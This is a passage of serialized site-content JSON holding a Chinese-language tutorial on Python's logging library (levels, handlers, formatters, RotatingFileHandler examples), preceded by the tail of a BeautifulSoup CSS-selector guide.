478,"children":34480},{"id":34479},"css选择器",[34481],{"type":24,"value":34482},"CSS选择器",{"type":18,"tag":34,"props":34484,"children":34485},{},[34486,34488],{"type":24,"value":34487},"参考文档：",{"type":18,"tag":43,"props":34489,"children":34492},{"href":34490,"rel":34491},"https:\u002F\u002Fwww.w3school.com.cn\u002Fcssref\u002Fcss_selectors.ASP",[47],[34493],{"type":24,"value":34494},"点击进行访问",{"type":18,"tag":34,"props":34496,"children":34497},{},[34498,34500,34506],{"type":24,"value":34499},"若是Tag或BeautifulSoup对象都可以直接调用 ",{"type":18,"tag":74,"props":34501,"children":34503},{"className":34502},[],[34504],{"type":24,"value":34505},"select()",{"type":24,"value":34507}," 方法，然后填写指定参数即可通过CSS选择器获取节点中的内容。",{"type":18,"tag":287,"props":34509,"children":34511},{"className":28710,"code":34510,"language":28712,"meta":8,"style":8},"print(soup.select('p'))       # 打印所有p节点内容\nprint(soup.select('p')[0])    # 打印所有p节点中的第一个节点\nprint(soup.select('html head title')) # 打印逐层获取的title节点\nprint(soup.select('.test_2'))   # 打印类名为test_2所对应的节点\nprint(soup.select('#class_1'))  # 打印id值为class_1所对应的节点\n",[34512],{"type":18,"tag":74,"props":34513,"children":34514},{"__ignoreMap":8},[34515,34523,34531,34539,34547],{"type":18,"tag":297,"props":34516,"children":34517},{"class":299,"line":300},[34518],{"type":18,"tag":297,"props":34519,"children":34520},{},[34521],{"type":24,"value":34522},"print(soup.select('p'))       # 打印所有p节点内容\n",{"type":18,"tag":297,"props":34524,"children":34525},{"class":299,"line":657},[34526],{"type":18,"tag":297,"props":34527,"children":34528},{},[34529],{"type":24,"value":34530},"print(soup.select('p')[0])    # 打印所有p节点中的第一个节点\n",{"type":18,"tag":297,"props":34532,"children":34533},{"class":299,"line":662},[34534],{"type":18,"tag":297,"props":34535,"children":34536},{},[34537],{"type":24,"value":34538},"print(soup.select('html head title')) # 打印逐层获取的title节点\n",{"type":18,"tag":297,"props":34540,"children":34541},{"class":299,"line":799},[34542],{"type":18,"tag":297,"props":34543,"children":34544},{},[34545],{"type":24,"value":34546},"print(soup.select('.test_2'))   # 打印类名为test_2所对应的节点\n",{"type":18,"tag":297,"props":34548,"children":34549},{"class":299,"line":808},[34550],{"type":18,"tag":297,"props":34551,"children":34552},{},[34553],{"type":24,"value":34554},"print(soup.select('#class_1'))  # 打印id值为class_1所对应的节点\n",{"type":18,"tag":34,"props":34556,"children":34557},{},[34558,34564],{"type":18,"tag":74,"props":34559,"children":34561},{"className":34560},[],[34562],{"type":24,"value":34563},"select_one()",{"type":24,"value":34565},"方法：用于获取所有符合条件节点中的第一个节点。",{"type":18,"tag":651,"props":34567,"children":34568},{},[34569],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":34571},[34572,34573,34574,34575],{"id":33345,"depth":662,"text":33348},{"id":33392,"depth":662,"text":33392},{"id":33471,"depth":662,"text":33471},{"id":33520,"depth":662,"text":33523},"content:blog:2026-02-20-beautifulsoup-guide.md","blog\u002F2026-02-20-beautifulsoup-guide.md","blog\u002F2026-02-20-beautifulsoup-guide",{"_path":34580,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":34581,"description":34582,"date":34583,"tags":34584,"body":34586,"_type":672,"_id":36658,"_source":674,"_file":36659,"_stem":36660,"_extension":677},"\u002Fblog\u002F2026-02-15-logging-guide","Python Logging 日志打印库详解","Python logging 标准库完整教程，包含日志分级、Handler配置、Formatter格式化、文件切割与配置文件管理。","2026-02-15",[28616,34585],"日志",{"type":15,"children":34587,"toc":36641},[34588,34601,34607,34660,34666,34671,34746,34752,34757,34923,34947,34953,34959,35029,35035,35346,35352,35364,35572,35578,35591,35792,35798,35803,35809,35814,35820,35833,35845,36116,36122,36220,36226,36238,36573,36579,36637],{"type":18,"tag":34,"props":34589,"children":34590},{},[34591,34593,34599],{"type":24,"value":34592},"你想了解 Python 的 logging 日志库，它是 Python 内置的标准日志处理库（无需额外安装），相比简单的",{"type":18,"tag":74,"props":34594,"children":34596},{"className":34595},[],[34597],{"type":24,"value":34598},"print()",{"type":24,"value":34600},"函数，提供了更灵活、更强大的日志分级、输出控制、持久化存储等功能，是项目开发（尤其是中大型项目）中日志记录的首选工具。",{"type":18,"tag":19,"props":34602,"children":34604},{"id":34603},"一logging-库的核心优势对比-print",[34605],{"type":24,"value":34606},"一、logging 库的核心优势（对比 print）",{"type":18,"tag":154,"props":34608,"children":34609},{},[34610,34620,34630,34640,34650],{"type":18,"tag":158,"props":34611,"children":34612},{},[34613,34618],{"type":18,"tag":105,"props":34614,"children":34615},{},[34616],{"type":24,"value":34617},"日志分级管理",{"type":24,"value":34619},"：可按严重程度划分日志级别，按需输出不同重要性的日志信息，避免无关日志干扰调试；",{"type":18,"tag":158,"props":34621,"children":34622},{},[34623,34628],{"type":18,"tag":105,"props":34624,"children":34625},{},[34626],{"type":24,"value":34627},"灵活输出目标",{"type":24,"value":34629},"：日志可同时输出到控制台、文件、数据库等多个目标，支持按文件大小 \u002F 时间切割日志文件；",{"type":18,"tag":158,"props":34631,"children":34632},{},[34633,34638],{"type":18,"tag":105,"props":34634,"children":34635},{},[34636],{"type":24,"value":34637},"丰富的日志格式",{"type":24,"value":34639},"：可自定义日志包含的内容（如时间、模块、行号、日志级别等），便于问题排查；",{"type":18,"tag":158,"props":34641,"children":34642},{},[34643,34648],{"type":18,"tag":105,"props":34644,"children":34645},{},[34646],{"type":24,"value":34647},"模块化配置",{"type":24,"value":34649},"：支持通过代码、配置文件等方式配置日志，便于在不同环境（开发 \u002F 测试 \u002F 生产）中切换日志策略；",{"type":18,"tag":158,"props":34651,"children":34652},{},[34653,34658],{"type":18,"tag":105,"props":34654,"children":34655},{},[34656],{"type":24,"value":34657},"线程安全",{"type":24,"value":34659},"：原生支持多线程环境下的日志记录，无需额外处理线程同步问题。",{"type":18,"tag":19,"props":34661,"children":34663},{"id":34662},"二logging-库的核心组件",[34664],{"type":24,"value":34665},"二、logging 库的核心组件",{"type":18,"tag":34,"props":34667,"children":34668},{},[34669],{"type":24,"value":34670},"logging 库通过四大核心组件协同工作，构成完整的日志处理流程：",{"type":18,"tag":154,"props":34672,"children":34673},{},[34674,34692,34726,34736],{"type":18,"tag":158,"props":34675,"children":34676},{},[34677,34682,34684,34690],{"type":18,"tag":105,"props":34678,"children":34679},{},[34680],{"type":24,"value":34681},"Logger（日志器）",{"type":24,"value":34683},"：入口组件，负责创建日志记录对象，应用程序通过 Logger 实例调用日志方法（如",{"type":18,"tag":74,"props":34685,"children":34687},{"className":34686},[],[34688],{"type":24,"value":34689},"logger.debug()",{"type":24,"value":34691},"）；",{"type":18,"tag":158,"props":34693,"children":34694},{},[34695,34700,34702,34708,34710,34716,34718,34724],{"type":18,"tag":105,"props":34696,"children":34697},{},[34698],{"type":24,"value":34699},"Handler（处理器）",{"type":24,"value":34701},"：负责将日志分发到不同目标，常见 Handler 包括",{"type":18,"tag":74,"props":34703,"children":34705},{"className":34704},[],[34706],{"type":24,"value":34707},"StreamHandler",{"type":24,"value":34709},"（输出到控制台）、",{"type":18,"tag":74,"props":34711,"children":34713},{"className":34712},[],[34714],{"type":24,"value":34715},"FileHandler",{"type":24,"value":34717},"（输出到文件）、",{"type":18,"tag":74,"props":34719,"children":34721},{"className":34720},[],[34722],{"type":24,"value":34723},"RotatingFileHandler",{"type":24,"value":34725},"（按大小切割文件）等；",{"type":18,"tag":158,"props":34727,"children":34728},{},[34729,34734],{"type":18,"tag":105,"props":34730,"children":34731},{},[34732],{"type":24,"value":34733},"Formatter（格式化器）",{"type":24,"value":34735},"：负责定义日志的输出格式，控制日志信息的展示样式；",{"type":18,"tag":158,"props":34737,"children":34738},{},[34739,34744],{"type":18,"tag":105,"props":34740,"children":34741},{},[34742],{"type":24,"value":34743},"Filter（过滤器）",{"type":24,"value":34745},"：可选组件，用于对日志进行过滤，只保留符合条件的日志（如只记录指定模块的日志）。",{"type":18,"tag":19,"props":34747,"children":34749},{"id":34748},"三日志级别从低到高",[34750],{"type":24,"value":34751},"三、日志级别（从低到高）",{"type":18,"tag":34,"props":34753,"children":34754},{},[34755],{"type":24,"value":34756},"logging 库定义了 5 个标准日志级别，可通过级别控制日志的输出范围，级别越高，日志越重要：",{"type":18,"tag":431,"props":34758,"children":34759},{},[34760,34786],{"type":18,"tag":435,"props":34761,"children":34762},{},[34763],{"type":18,"tag":439,"props":34764,"children":34765},{},[34766,34771,34776,34781],{"type":18,"tag":443,"props":34767,"children":34768},{},[34769],{"type":24,"value":34770},"级别名称",{"type":18,"tag":443,"props":34772,"children":34773},{},[34774],{"type":24,"value":34775},"对应方法",{"type":18,"tag":443,"props":34777,"children":34778},{},[34779],{"type":24,"value":34780},"描述",{"type":18,"tag":443,"props":34782,"children":34783},{},[34784],{"type":24,"value":34785},"常用场景",{"type":18,"tag":459,"props":34787,"children":34788},{},[34789,34815,34842,34869,34896],{"type":18,"tag":439,"props":34790,"children":34791},{},[34792,34797,34805,34810],{"type":18,"tag":466,"props":34793,"children":34794},{},[34795],{"type":24,"value":34796},"DEBUG",{"type":18,"tag":466,"props":34798,"children":34799},{},[34800],{"type":18,"tag":74,"props":34801,"children":34803},{"className":34802},[],[34804],{"type":24,"value":34689},{"type":18,"tag":466,"props":34806,"children":34807},{},[34808],{"type":24,"value":34809},"调试信息，用于开发阶段排查问题",{"type":18,"tag":466,"props":34811,"children":34812},{},[34813],{"type":24,"value":34814},"开发环境调试代码、打印变量",{"type":18,"tag":439,"props":34816,"children":34817},{},[34818,34823,34832,34837],{"type":18,"tag":466,"props":34819,"children":34820},{},[34821],{"type":24,"value":34822},"INFO",{"type":18,"tag":466,"props":34824,"children":34825},{},[34826],{"type":18,"tag":74,"props":34827,"children":34829},{"className":34828},[],[34830],{"type":24,"value":34831},"logger.info()",{"type":18,"tag":466,"props":34833,"children":34834},{},[34835],{"type":24,"value":34836},"普通信息，记录程序正常运行状态",{"type":18,"tag":466,"props":34838,"children":34839},{},[34840],{"type":24,"value":34841},"记录程序启动、流程完成等",{"type":18,"tag":439,"props":34843,"children":34844},{},[34845,34850,34859,34864],{"type":18,"tag":466,"props":34846,"children":34847},{},[34848],{"type":24,"value":34849},"WARNING",{"type":18,"tag":466,"props":34851,"children":34852},{},[34853],{"type":18,"tag":74,"props":34854,"children":34856},{"className":34855},[],[34857],{"type":24,"value":34858},"logger.warning()",{"type":18,"tag":466,"props":34860,"children":34861},{},[34862],{"type":24,"value":34863},"警告信息，程序存在潜在风险但不影响运行",{"type":18,"tag":466,"props":34865,"children":34866},{},[34867],{"type":24,"value":34868},"配置缺失、资源不足等",{"type":18,"tag":439,"props":34870,"children":34871},{},[34872,34877,34886,34891],{"type":18,"tag":466,"props":34873,"children":34874},{},[34875],{"type":24,"value":34876},"ERROR",{"type":18,"tag":466,"props":34878,"children":34879},{},[34880],{"type":18,"tag":74,"props":34881,"children":34883},{"className":34882},[],[34884],{"type":24,"value":34885},"logger.error()",{"type":18,"tag":466,"props":34887,"children":34888},{},[34889],{"type":24,"value":34890},"错误信息，程序部分功能异常",{"type":18,"tag":466,"props":34892,"children":34893},{},[34894],{"type":24,"value":34895},"接口调用失败、数据处理出错",{"type":18,"tag":439,"props":34897,"children":34898},{},[34899,34904,34913,34918],{"type":18,"tag":466,"props":34900,"children":34901},{},[34902],{"type":24,"value":34903},"CRITICAL",{"type":18,"tag":466,"props":34905,"children":34906},{},[34907],{"type":18,"tag":74,"props":34908,"children":34910},{"className":34909},[],[34911],{"type":24,"value":34912},"logger.critical()",{"type":18,"tag":466,"props":34914,"children":34915},{},[34916],{"type":24,"value":34917},"严重错误，程序无法继续运行",{"type":18,"tag":466,"props":34919,"children":34920},{},[34921],{"type":24,"value":34922},"数据库连接失败、核心模块崩溃",{"type":18,"tag":34,"props":34924,"children":34925},{},[34926,34931,34933,34938,34940,34945],{"type":18,"tag":105,"props":34927,"children":34928},{},[34929],{"type":24,"value":34930},"默认级别",{"type":24,"value":34932},"：logging 库默认日志级别为",{"type":18,"tag":74,"props":34934,"children":34936},{"className":34935},[],[34937],{"type":24,"value":34849},{"type":24,"value":34939},"，即只输出",{"type":18,"tag":74,"props":34941,"children":34943},{"className":34942},[],[34944],{"type":24,"value":34849},{"type":24,"value":34946},"及以上级别的日志（WARNING、ERROR、CRITICAL）。",{"type":18,"tag":19,"props":34948,"children":34950},{"id":34949},"四基本使用示例",[34951],{"type":24,"value":34952},"四、基本使用示例",{"type":18,"tag":27,"props":34954,"children":34956},{"id":34955},"_1-简单使用默认配置输出到控制台",[34957],{"type":24,"value":34958},"1. 简单使用（默认配置，输出到控制台）",{"type":18,"tag":287,"props":34960,"children":34962},{"className":28710,"code":34961,"language":28712,"meta":8,"style":8},"import logging\n\n# 直接使用根日志器（简单场景快速上手）\nlogging.debug(\"这是DEBUG级别的调试日志（默认不输出）\")\nlogging.info(\"这是INFO级别的普通日志（默认不输出）\")\nlogging.warning(\"这是WARNING级别的警告日志（默认输出）\")\nlogging.error(\"这是ERROR级别的错误日志（默认输出）\")\nlogging.critical(\"这是CRITICAL级别的严重错误日志（默认输出）\")\n",[34963],{"type":18,"tag":74,"props":34964,"children":34965},{"__ignoreMap":8},[34966,34974,34981,34989,34997,35005,35013,35021],{"type":18,"tag":297,"props":34967,"children":34968},{"class":299,"line":300},[34969],{"type":18,"tag":297,"props":34970,"children":34971},{},[34972],{"type":24,"value":34973},"import logging\n",{"type":18,"tag":297,"props":34975,"children":34976},{"class":299,"line":657},[34977],{"type":18,"tag":297,"props":34978,"children":34979},{"emptyLinePlaceholder":793},[34980],{"type":24,"value":796},{"type":18,"tag":297,"props":34982,"children":34983},{"class":299,"line":662},[34984],{"type":18,"tag":297,"props":34985,"children":34986},{},[34987],{"type":24,"value":34988},"# 直接使用根日志器（简单场景快速上手）\n",{"type":18,"tag":297,"props":34990,"children":34991},{"class":299,"line":799},[34992],{"type":18,"tag":297,"props":34993,"children":34994},{},[34995],{"type":24,"value":34996},"logging.debug(\"这是DEBUG级别的调试日志（默认不输出）\")\n",{"type":18,"tag":297,"props":34998,"children":34999},{"class":299,"line":808},[35000],{"type":18,"tag":297,"props":35001,"children":35002},{},[35003],{"type":24,"value":35004},"logging.info(\"这是INFO级别的普通日志（默认不输出）\")\n",{"type":18,"tag":297,"props":35006,"children":35007},{"class":299,"line":817},[35008],{"type":18,"tag":297,"props":35009,"children":35010},{},[35011],{"type":24,"value":35012},"logging.warning(\"这是WARNING级别的警告日志（默认输出）\")\n",{"type":18,"tag":297,"props":35014,"children":35015},{"class":299,"line":826},[35016],{"type":18,"tag":297,"props":35017,"children":35018},{},[35019],{"type":24,"value":35020},"logging.error(\"这是ERROR级别的错误日志（默认输出）\")\n",{"type":18,"tag":297,"props":35022,"children":35023},{"class":299,"line":4524},[35024],{"type":18,"tag":297,"props":35025,"children":35026},{},[35027],{"type":24,"value":35028},"logging.critical(\"这是CRITICAL级别的严重错误日志（默认输出）\")\n",{"type":18,"tag":27,"props":35030,"children":35032},{"id":35031},"_2-自定义配置输出到控制台-文件自定义格式",[35033],{"type":24,"value":35034},"2. 自定义配置（输出到控制台 + 文件，自定义格式）",{"type":18,"tag":287,"props":35036,"children":35038},{"className":28710,"code":35037,"language":28712,"meta":8,"style":8},"import logging\n\n# 1. 创建日志器（设置全局日志级别，低于该级别的日志会被过滤）\nlogger = logging.getLogger(\"my_project_logger\")\nlogger.setLevel(logging.DEBUG)  # 全局级别设为DEBUG，确保所有级别日志都能被处理\n\n# 2. 创建处理器（控制台处理器+文件处理器）\n# 控制台处理器\nstream_handler = logging.StreamHandler()\n# 文件处理器（将日志写入文件，追加模式）\nfile_handler = logging.FileHandler(\"project_log.log\", mode=\"a\", encoding=\"utf-8\")\n\n# 3. 创建格式化器（定义日志输出格式）\nformatter = logging.Formatter(\n    \"%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s\"\n)\n# 格式化器说明：\n# %(asctime)s：日志记录时间\n# %(name)s：日志器名称\n# %(levelname)s：日志级别名称\n# %(filename)s：日志所在文件名\n# %(lineno)d：日志所在行号\n# %(message)s：日志核心内容\n\n# 4. 为处理器绑定格式化器\nstream_handler.setFormatter(formatter)\nfile_handler.setFormatter(formatter)\n\n# 5. 为日志器添加处理器\nlogger.addHandler(stream_handler)\nlogger.addHandler(file_handler)\n\n# 6. 打印不同级别的日志\nif __name__ == \"__main__\":\n    logger.debug(\"调试：用户进入登录页面\")\n    logger.info(\"信息：用户登录成功，用户名：test_user\")\n    logger.warning(\"警告：用户密码强度过低\")\n    logger.error(\"错误：用户提交订单时，数据库连接超时\")\n    logger.critical(\"严重：核心服务崩溃，无法提供服务\")\n",[35039],{"type":18,"tag":74,"props":35040,"children":35041},{"__ignoreMap":8},[35042,35049,35056,35064,35072,35080,35087,35095,35103,35111,35119,35127,35134,35142,35150,35158,35165,35173,35181,35189,35197,35205,35213,35221,35228,35236,35244,35252,35259,35267,35275,35283,35290,35298,35306,35314,35322,35330,35338],{"type":18,"tag":297,"props":35043,"children":35044},{"class":299,"line":300},[35045],{"type":18,"tag":297,"props":35046,"children":35047},{},[35048],{"type":24,"value":34973},{"type":18,"tag":297,"props":35050,"children":35051},{"class":299,"line":657},[35052],{"type":18,"tag":297,"props":35053,"children":35054},{"emptyLinePlaceholder":793},[35055],{"type":24,"value":796},{"type":18,"tag":297,"props":35057,"children":35058},{"class":299,"line":662},[35059],{"type":18,"tag":297,"props":35060,"children":35061},{},[35062],{"type":24,"value":35063},"# 1. 创建日志器（设置全局日志级别，低于该级别的日志会被过滤）\n",{"type":18,"tag":297,"props":35065,"children":35066},{"class":299,"line":799},[35067],{"type":18,"tag":297,"props":35068,"children":35069},{},[35070],{"type":24,"value":35071},"logger = logging.getLogger(\"my_project_logger\")\n",{"type":18,"tag":297,"props":35073,"children":35074},{"class":299,"line":808},[35075],{"type":18,"tag":297,"props":35076,"children":35077},{},[35078],{"type":24,"value":35079},"logger.setLevel(logging.DEBUG)  # 全局级别设为DEBUG，确保所有级别日志都能被处理\n",{"type":18,"tag":297,"props":35081,"children":35082},{"class":299,"line":817},[35083],{"type":18,"tag":297,"props":35084,"children":35085},{"emptyLinePlaceholder":793},[35086],{"type":24,"value":796},{"type":18,"tag":297,"props":35088,"children":35089},{"class":299,"line":826},[35090],{"type":18,"tag":297,"props":35091,"children":35092},{},[35093],{"type":24,"value":35094},"# 2. 创建处理器（控制台处理器+文件处理器）\n",{"type":18,"tag":297,"props":35096,"children":35097},{"class":299,"line":4524},[35098],{"type":18,"tag":297,"props":35099,"children":35100},{},[35101],{"type":24,"value":35102},"# 控制台处理器\n",{"type":18,"tag":297,"props":35104,"children":35105},{"class":299,"line":4533},[35106],{"type":18,"tag":297,"props":35107,"children":35108},{},[35109],{"type":24,"value":35110},"stream_handler = logging.StreamHandler()\n",{"type":18,"tag":297,"props":35112,"children":35113},{"class":299,"line":4546},[35114],{"type":18,"tag":297,"props":35115,"children":35116},{},[35117],{"type":24,"value":35118},"# 文件处理器（将日志写入文件，追加模式）\n",{"type":18,"tag":297,"props":35120,"children":35121},{"class":299,"line":4555},[35122],{"type":18,"tag":297,"props":35123,"children":35124},{},[35125],{"type":24,"value":35126},"file_handler = logging.FileHandler(\"project_log.log\", mode=\"a\", encoding=\"utf-8\")\n",{"type":18,"tag":297,"props":35128,"children":35129},{"class":299,"line":4568},[35130],{"type":18,"tag":297,"props":35131,"children":35132},{"emptyLinePlaceholder":793},[35133],{"type":24,"value":796},{"type":18,"tag":297,"props":35135,"children":35136},{"class":299,"line":4577},[35137],{"type":18,"tag":297,"props":35138,"children":35139},{},[35140],{"type":24,"value":35141},"# 3. 创建格式化器（定义日志输出格式）\n",{"type":18,"tag":297,"props":35143,"children":35144},{"class":299,"line":4590},[35145],{"type":18,"tag":297,"props":35146,"children":35147},{},[35148],{"type":24,"value":35149},"formatter = logging.Formatter(\n",{"type":18,"tag":297,"props":35151,"children":35152},{"class":299,"line":4599},[35153],{"type":18,"tag":297,"props":35154,"children":35155},{},[35156],{"type":24,"value":35157},"    \"%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s\"\n",{"type":18,"tag":297,"props":35159,"children":35160},{"class":299,"line":4607},[35161],{"type":18,"tag":297,"props":35162,"children":35163},{},[35164],{"type":24,"value":4760},{"type":18,"tag":297,"props":35166,"children":35167},{"class":299,"line":4616},[35168],{"type":18,"tag":297,"props":35169,"children":35170},{},[35171],{"type":24,"value":35172},"# 格式化器说明：\n",{"type":18,"tag":297,"props":35174,"children":35175},{"class":299,"line":4624},[35176],{"type":18,"tag":297,"props":35177,"children":35178},{},[35179],{"type":24,"value":35180},"# %(asctime)s：日志记录时间\n",{"type":18,"tag":297,"props":35182,"children":35183},{"class":299,"line":4633},[35184],{"type":18,"tag":297,"props":35185,"children":35186},{},[35187],{"type":24,"value":35188},"# %(name)s：日志器名称\n",{"type":18,"tag":297,"props":35190,"children":35191},{"class":299,"line":4641},[35192],{"type":18,"tag":297,"props":35193,"children":35194},{},[35195],{"type":24,"value":35196},"# %(levelname)s：日志级别名称\n",{"type":18,"tag":297,"props":35198,"children":35199},{"class":299,"line":4650},[35200],{"type":18,"tag":297,"props":35201,"children":35202},{},[35203],{"type":24,"value":35204},"# %(filename)s：日志所在文件名\n",{"type":18,"tag":297,"props":35206,"children":35207},{"class":299,"line":4658},[35208],{"type":18,"tag":297,"props":35209,"children":35210},{},[35211],{"type":24,"value":35212},"# %(lineno)d：日志所在行号\n",{"type":18,"tag":297,"props":35214,"children":35215},{"class":299,"line":4681},[35216],{"type":18,"tag":297,"props":35217,"children":35218},{},[35219],{"type":24,"value":35220},"# %(message)s：日志核心内容\n",{"type":18,"tag":297,"props":35222,"children":35223},{"class":299,"line":4703},[35224],{"type":18,"tag":297,"props":35225,"children":35226},{"emptyLinePlaceholder":793},[35227],{"type":24,"value":796},{"type":18,"tag":297,"props":35229,"children":35230},{"class":299,"line":4711},[35231],{"type":18,"tag":297,"props":35232,"children":35233},{},[35234],{"type":24,"value":35235},"# 4. 为处理器绑定格式化器\n",{"type":18,"tag":297,"props":35237,"children":35238},{"class":299,"line":4720},[35239],{"type":18,"tag":297,"props":35240,"children":35241},{},[35242],{"type":24,"value":35243},"stream_handler.setFormatter(formatter)\n",{"type":18,"tag":297,"props":35245,"children":35246},{"class":299,"line":4728},[35247],{"type":18,"tag":297,"props":35248,"children":35249},{},[35250],{"type":24,"value":35251},"file_handler.setFormatter(formatter)\n",{"type":18,"tag":297,"props":35253,"children":35254},{"class":299,"line":13515},[35255],{"type":18,"tag":297,"props":35256,"children":35257},{"emptyLinePlaceholder":793},[35258],{"type":24,"value":796},{"type":18,"tag":297,"props":35260,"children":35261},{"class":299,"line":13553},[35262],{"type":18,"tag":297,"props":35263,"children":35264},{},[35265],{"type":24,"value":35266},"# 5. 为日志器添加处理器\n",{"type":18,"tag":297,"props":35268,"children":35269},{"class":299,"line":13591},[35270],{"type":18,"tag":297,"props":35271,"children":35272},{},[35273],{"type":24,"value":35274},"logger.addHandler(stream_handler)\n",{"type":18,"tag":297,"props":35276,"children":35277},{"class":299,"line":13624},[35278],{"type":18,"tag":297,"props":35279,"children":35280},{},[35281],{"type":24,"value":35282},"logger.addHandler(file_handler)\n",{"type":18,"tag":297,"props":35284,"children":35285},{"class":299,"line":13632},[35286],{"type":18,"tag":297,"props":35287,"children":35288},{"emptyLinePlaceholder":793},[35289],{"type":24,"value":796},{"type":18,"tag":297,"props":35291,"children":35292},{"class":299,"line":13641},[35293],{"type":18,"tag":297,"props":35294,"children":35295},{},[35296],{"type":24,"value":35297},"# 6. 打印不同级别的日志\n",{"type":18,"tag":297,"props":35299,"children":35300},{"class":299,"line":13724},[35301],{"type":18,"tag":297,"props":35302,"children":35303},{},[35304],{"type":24,"value":35305},"if __name__ == \"__main__\":\n",{"type":18,"tag":297,"props":35307,"children":35308},{"class":299,"line":13732},[35309],{"type":18,"tag":297,"props":35310,"children":35311},{},[35312],{"type":24,"value":35313},"    logger.debug(\"调试：用户进入登录页面\")\n",{"type":18,"tag":297,"props":35315,"children":35316},{"class":299,"line":13786},[35317],{"type":18,"tag":297,"props":35318,"children":35319},{},[35320],{"type":24,"value":35321},"    logger.info(\"信息：用户登录成功，用户名：test_user\")\n",{"type":18,"tag":297,"props":35323,"children":35324},{"class":299,"line":13794},[35325],{"type":18,"tag":297,"props":35326,"children":35327},{},[35328],{"type":24,"value":35329},"    logger.warning(\"警告：用户密码强度过低\")\n",{"type":18,"tag":297,"props":35331,"children":35332},{"class":299,"line":13803},[35333],{"type":18,"tag":297,"props":35334,"children":35335},{},[35336],{"type":24,"value":35337},"    logger.error(\"错误：用户提交订单时，数据库连接超时\")\n",{"type":18,"tag":297,"props":35339,"children":35340},{"class":299,"line":13845},[35341],{"type":18,"tag":297,"props":35342,"children":35343},{},[35344],{"type":24,"value":35345},"    logger.critical(\"严重：核心服务崩溃，无法提供服务\")\n",{"type":18,"tag":27,"props":35347,"children":35349},{"id":35348},"_3-高级使用按文件大小切割日志",[35350],{"type":24,"value":35351},"3. 高级使用：按文件大小切割日志",{"type":18,"tag":34,"props":35353,"children":35354},{},[35355,35357,35362],{"type":24,"value":35356},"当日志文件过大时，可使用",{"type":18,"tag":74,"props":35358,"children":35360},{"className":35359},[],[35361],{"type":24,"value":34723},{"type":24,"value":35363},"按大小切割，避免单个日志文件过大难以管理：",{"type":18,"tag":287,"props":35365,"children":35367},{"className":28710,"code":35366,"language":28712,"meta":8,"style":8},"import logging\nfrom logging.handlers import RotatingFileHandler\n\n# 创建日志器\nlogger = logging.getLogger(\"size_rotating_logger\")\nlogger.setLevel(logging.DEBUG)\n\n# 创建按大小切割的文件处理器（单个文件最大10MB，最多保留5个备份文件）\nrotating_handler = RotatingFileHandler(\n    \"rotating_project.log\",\n    mode=\"a\",\n    encoding=\"utf-8\",\n    maxBytes=10 * 1024 * 1024,  # 10MB\n    backupCount=5  # 保留5个备份（rotating_project.log.1 ~ rotating_project.log.5）\n)\n\n# 配置格式化器\nformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\nrotating_handler.setFormatter(formatter)\n\n# 添加处理器\nlogger.addHandler(rotating_handler)\n\n# 测试日志输出\nfor i in range(1000):\n    logger.info(f\"这是第{i+1}条测试日志，用于验证日志切割功能\")\n",[35368],{"type":18,"tag":74,"props":35369,"children":35370},{"__ignoreMap":8},[35371,35378,35386,35393,35401,35409,35417,35424,35432,35440,35448,35456,35464,35472,35480,35487,35494,35502,35510,35518,35525,35533,35541,35548,35556,35564],{"type":18,"tag":297,"props":35372,"children":35373},{"class":299,"line":300},[35374],{"type":18,"tag":297,"props":35375,"children":35376},{},[35377],{"type":24,"value":34973},{"type":18,"tag":297,"props":35379,"children":35380},{"class":299,"line":657},[35381],{"type":18,"tag":297,"props":35382,"children":35383},{},[35384],{"type":24,"value":35385},"from logging.handlers import RotatingFileHandler\n",{"type":18,"tag":297,"props":35387,"children":35388},{"class":299,"line":662},[35389],{"type":18,"tag":297,"props":35390,"children":35391},{"emptyLinePlaceholder":793},[35392],{"type":24,"value":796},{"type":18,"tag":297,"props":35394,"children":35395},{"class":299,"line":799},[35396],{"type":18,"tag":297,"props":35397,"children":35398},{},[35399],{"type":24,"value":35400},"# 创建日志器\n",{"type":18,"tag":297,"props":35402,"children":35403},{"class":299,"line":808},[35404],{"type":18,"tag":297,"props":35405,"children":35406},{},[35407],{"type":24,"value":35408},"logger = logging.getLogger(\"size_rotating_logger\")\n",{"type":18,"tag":297,"props":35410,"children":35411},{"class":299,"line":817},[35412],{"type":18,"tag":297,"props":35413,"children":35414},{},[35415],{"type":24,"value":35416},"logger.setLevel(logging.DEBUG)\n",{"type":18,"tag":297,"props":35418,"children":35419},{"class":299,"line":826},[35420],{"type":18,"tag":297,"props":35421,"children":35422},{"emptyLinePlaceholder":793},[35423],{"type":24,"value":796},{"type":18,"tag":297,"props":35425,"children":35426},{"class":299,"line":4524},[35427],{"type":18,"tag":297,"props":35428,"children":35429},{},[35430],{"type":24,"value":35431},"# 创建按大小切割的文件处理器（单个文件最大10MB，最多保留5个备份文件）\n",{"type":18,"tag":297,"props":35433,"children":35434},{"class":299,"line":4533},[35435],{"type":18,"tag":297,"props":35436,"children":35437},{},[35438],{"type":24,"value":35439},"rotating_handler = RotatingFileHandler(\n",{"type":18,"tag":297,"props":35441,"children":35442},{"class":299,"line":4546},[35443],{"type":18,"tag":297,"props":35444,"children":35445},{},[35446],{"type":24,"value":35447},"    \"rotating_project.log\",\n",{"type":18,"tag":297,"props":35449,"children":35450},{"class":299,"line":4555},[35451],{"type":18,"tag":297,"props":35452,"children":35453},{},[35454],{"type":24,"value":35455},"    mode=\"a\",\n",{"type":18,"tag":297,"props":35457,"children":35458},{"class":299,"line":4568},[35459],{"type":18,"tag":297,"props":35460,"children":35461},{},[35462],{"type":24,"value":35463},"    encoding=\"utf-8\",\n",{"type":18,"tag":297,"props":35465,"children":35466},{"class":299,"line":4577},[35467],{"type":18,"tag":297,"props":35468,"children":35469},{},[35470],{"type":24,"value":35471},"    maxBytes=10 * 1024 * 1024,  # 10MB\n",{"type":18,"tag":297,"props":35473,"children":35474},{"class":299,"line":4590},[35475],{"type":18,"tag":297,"props":35476,"children":35477},{},[35478],{"type":24,"value":35479},"    backupCount=5  # 保留5个备份（rotating_project.log.1 ~ 